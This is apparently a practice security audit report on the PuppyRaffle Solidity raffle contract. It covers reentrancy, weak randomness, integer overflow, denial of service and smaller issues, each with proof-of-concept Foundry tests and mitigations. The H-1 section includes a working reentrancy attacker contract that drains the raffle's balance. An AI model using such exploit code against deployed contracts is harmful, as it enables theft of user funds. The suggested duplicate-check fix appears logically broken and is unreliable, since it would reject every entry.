PuppyRaffle Audit Report

Version 1.0

Pedro.io

May 30, 2024

PuppyRaffle Audit Report

Pedro

May. 30, 2024

Prepared by: Pedro Lead Auditors: - Pedro

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle`is a potential denial of service(DoS) attack, increming gas cost for future entrants.
  - Medium
    * [M-2] Unsafe cast of PuppyRaffle::fee loses fees
    * [M-3] Smart contract wallets raffle winner without a `receive`or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a players at 0 to incorrectly think they have not entered the raffle
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI
    * [I-5] Use of 'magic' numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never user and should be deleted
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Pedro team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Scope Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contracts balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender`address and only after making that external call we do update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
             player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
             already refunded, or is not active");
```

```
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who has entered the raffle could have a `fallback`/`receive`function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by the raffle players could be stolen by the malicous participant.

Proof of Concept:

1. User enters the raffle
2. Attacker set up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attackers calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following code into `PuppyRaffleTest.t.sol`

```
1  function testReentrancyRefund() public  {
2        address[] memory players = new address[](4);
3        players[0] = playerOne;
4        players[1] = playerTwo;
5        players[2] = playerThree;
6        players[3] = playerFour;
7        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
             puppyRaffle);
10       address attackUser = makeAddr("attackUser");
11       vm.deal(attackUser, 1 ether);
12
13       uint256 startingAttackContractBalance = address(attackerContract)
             .balance;
14       uint256 startingContractBalance = address(puppyRaffle).balance;
15
16       // attack
17       vm.prank(attackUser);
18       attackerContract.attack{value: entranceFee}();
19
20       console.log("starting attacker contract balance: ",
             startingAttackContractBalance);
```

```
21        console.log("starting contract balance: ",
              startingContractBalance);
22
23        console.log("ending attacker contract balance: ", address(
              attackerContract).balance);
24        console.log("ending contract balance", address(puppyRaffle).
              balance);
25      }
```

And this contract as well:

```
1  contract ReentrancyAttacker{
2    PuppyRaffle puppyRaffle;
3    uint256 entranceFee;
4    uint256 attackerIndex;
5
6    constructor(PuppyRaffle _puppyRaffle){
7      puppyRaffle = _puppyRaffle;
8      entranceFee = puppyRaffle.entranceFee();
9    }
10
11   function attack() external payable {
12     address[] memory players = new address[](1);
13     players[0] = address(this);
14     puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16     attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
17     puppyRaffle.refund(attackerIndex);
18   }
19
20   function _stealMoney() internal{
21     if(address(puppyRaffle).balance >= entranceFee){
22       puppyRaffle.refund(attackerIndex);
23     }
24   }
25
26   fallback() external payable {
27     _stealMoney();
28   }
29
30   receive() external payable {
31     _stealMoney();
32   }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function should update the `players`array before making an external call. Additionnally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
```

```
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionnally means users could front-run this function and call `refund` if they see theu are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making te entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp`and `block.difficulty`and use that to predict when/how to participate. 2. User can mine/manipulate their `msg.sender`value to result in their address being used to generated the winner! 3. Users can revert their ‘selectWinnerù transaction if they don’t like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator like Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`integers were subject to integer overflows.

```
1 uint64 myvar = type(uint64).max;
2 // 18446744073709551615
3 myVar += 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees`are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees`variable overflow,

the `feeAddress` may not collect the correct amouint of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// totalFee = 800000000000000000 + 178000000000000000
// this will overflow
totalFee = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Altough you could use `selfdestruct`to send ETH to this contract in order fo the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance`in the contract that the above `require` will be impossible to hit.

Code

```
function testOverflowTotalFees() public playersEntered{
      // a raffle of 4 players is finished, time to collect some fees
      vm.warp(block.timestamp + duration + 1);
      vm.roll(block.number + 1);
      // we select a winner
      puppyRaffle.selectWinner();
      // we call the startingtotalfees
      uint256 startingTotalFees = puppyRaffle.totalFees();

      // we start a new raffle with 89 players
      uint256 playersNum = 89;
      address[] memory players = new address[](playersNum);
      for(uint256 i; i < players.length; i++){
          players[i] = address(i);
      }
      puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players)
          ;
     // we end again the raffle
      vm.warp(block.timestamp + duration + 1);
      vm.roll(block.number + 1);
      puppyRaffle.selectWinner();
      uint256 endingTotalFees = puppyRaffle.totalFees();

      console.log("starting total fees: ", startingTotalFees);
```

```
24          console.log("ending total fees: ", endingTotalFees);
25          assert(endingTotalFees < startingTotalFees);
26
27         // We can't withdraw the fees because there are still active
               players
28          vm.prank(puppyRaffle.feeAddress());
29          vm.expectRevert("PuppyRaffle: There are currently players active!
               ");
30          puppyRaffle.withdrawFees();
31      }
```

Recommended Mitigation: There are a few possible mitigation. 1. Use a newer version of Solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could alse use the `safeMath`library of Openzeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64`type if too many fees are collected. 3. Remove the balance chekc from `PuppyRaffle::withdrawFees`

```
1  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle`is a potential denial of service(DoS) attack, increming gas cost for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new players will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additionnal address in the `players` arrray, is an additionnal checl the looop will have to make. **Impact:** The gas costs for raffle entrants will be greatly inscrease as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a new raffle to be one of the first entrants in the queue.

An attacker mighht make the `PuppyRaffle::players` array so big, thaht no one else enters, guarenteeing themselves the win.

```
1  // @audit DoS attack
2  @>  for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be greater for the second set. - 1st 100 players: 6252047 gas - 2nd 100 players: 18068137 gas

It's 3 times more expensive for the second set.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function testDenialOfService() public {
        // address[] memory players = new address[](1);
        // players[0] = playerOne;
        // puppyRaffle.enterRaffle{value: entranceFee}(players);
        // assertEq(puppyRaffle.players(0), playerOne);
        vm.txGasPrice(1);
        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i; i < players.length; i++){
            players[i] = address(i);
        }
        // See the gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for 100 players: ", gasUsedFirst);
        // Let's enter the second batch of 100 players
        address[] memory playersSec = new address[](playersNum);
        for(uint256 i; i < players.length; i++){
            playersSec[i] = address(i + playersNum);
        }
        // See the gas cost
        uint256 gasStartSec = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersSec);
        uint256 gasEndSec = gasleft();
        uint256 gasUsedSec = (gasStartSec - gasEndSec) * tx.gasprice;
        console.log("Gas used for 200 players: ", gasUsedSec);

        // Difference gas cost between the first and second batch
        console.log("Gas difference: ", gasUsedSec - gasUsedFirst);
        assert(gasUsedFirst < gasUsedSec);

    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyaway, so a duplicate

check doesn't prevent the same person from entering multiple times, only the same wallet addresses.

2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
  .
  .
  .
  function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
+       addressToRaffleId[newPlayers[i]] = raffleId;
    }
+   for (uint256 i = 0; i < newPlayers.length; i++) {
+     require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+   }
-    for (uint256 i = 0; i < players.length - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++) {
-            require(players[i] != players[j], "PuppyRaffle: Duplicate
   player");
-        }
-    }
    emit RaffleEnter(newPlayers);
  }
.
.
.
  function selectWinner() external {
+   raffleId = raffleId + 1;
    require(block.timestamp >= raffleStartTime + raffleDuration, "
       PuppyRaffle: Raffle not over");
  }
```

Medium

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than type(uint64).max, the value will be truncated.

```
    function selectWinner() external {
```

```
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9  @>       totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

A raffle proceeds with a little more than 18 ETH worth of fees collected The line that casts the fee as a uint64 hits totalFees is incorrectly updated with a lower amount You can replicate this in foundry's chisel by running the following:

uint256 max = type(uint64).max uint256 fee = max + 1 uint64(fee) // prints 0 **Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

// We do some storage packing to save gas But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6       function selectWinner() external {
7           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8           require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
```

```
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winner without a `receiveor a fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for reset the raffle. However, if the winner is a smart contract wallet that reject payment, the raffle would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants, but it could cost a lot due to te duplicate check and a lottery reset could get verry challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a raffle reset difficult. Also, true winners could not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the raffle without a fallback or receive function.
2. The raffle ends
3. The `selectWinner` function wouldn't work, event though the lottery is over!

Recommended Mitigation: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselfes with a new function `claimPrize`, putting the owners on the winner to claim their prize. (Recommended).

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a players at 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0 but according to the natspec, it will also return 0 if the players is not in the array.

```
1      /// @return the index of the player in the array, if they are not
           active, it returns 0
2  function getActivePlayerIndex(address player) external view returns (
       uint256) {
3          for (uint256 i = 0; i < players.length; i++) {
4              if (players[i] == player) {
```

```
5                   return i;
6               }
7           }
8           return 0;
9       }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the rafflen they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex`retunrs 0
3. User thinks they ave not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better soluytion might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol [Line: 2]

  “‘solidity pragma solidity ^0.7.6;

[I-2] Using an outdated version of Solidity is not recommended.

Please use a newer version like `0.8.18` solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please see slither documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 65
- Found in src/PuppyRaffle.sol Line: 186

[I-4] `PuppyRaffle::selectWinner` should follow CEI

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of 'magic' numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never user and should be deleted

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: -`PuppyRaffle::raffleDuration` should be be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffle::rareImageUri` should be `constant` -`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length`you read from storage, as opposed to memory is more gas efficient.

```
+  uint256 playersLength = players.length;
-  for (uint256 i = 0; i < players.length - 1; i++) {
+  for (uint256 i = 0; i < playersLength - 1; i++) {
-      for (uint256 j = i + 1; j < players.length; j++) {
+      for (uint256 j = i + 1; j < playersLength; j++) {
          require(players[i] != players[j], "PuppyRaffle: Duplicate
              player");
       }
    }
```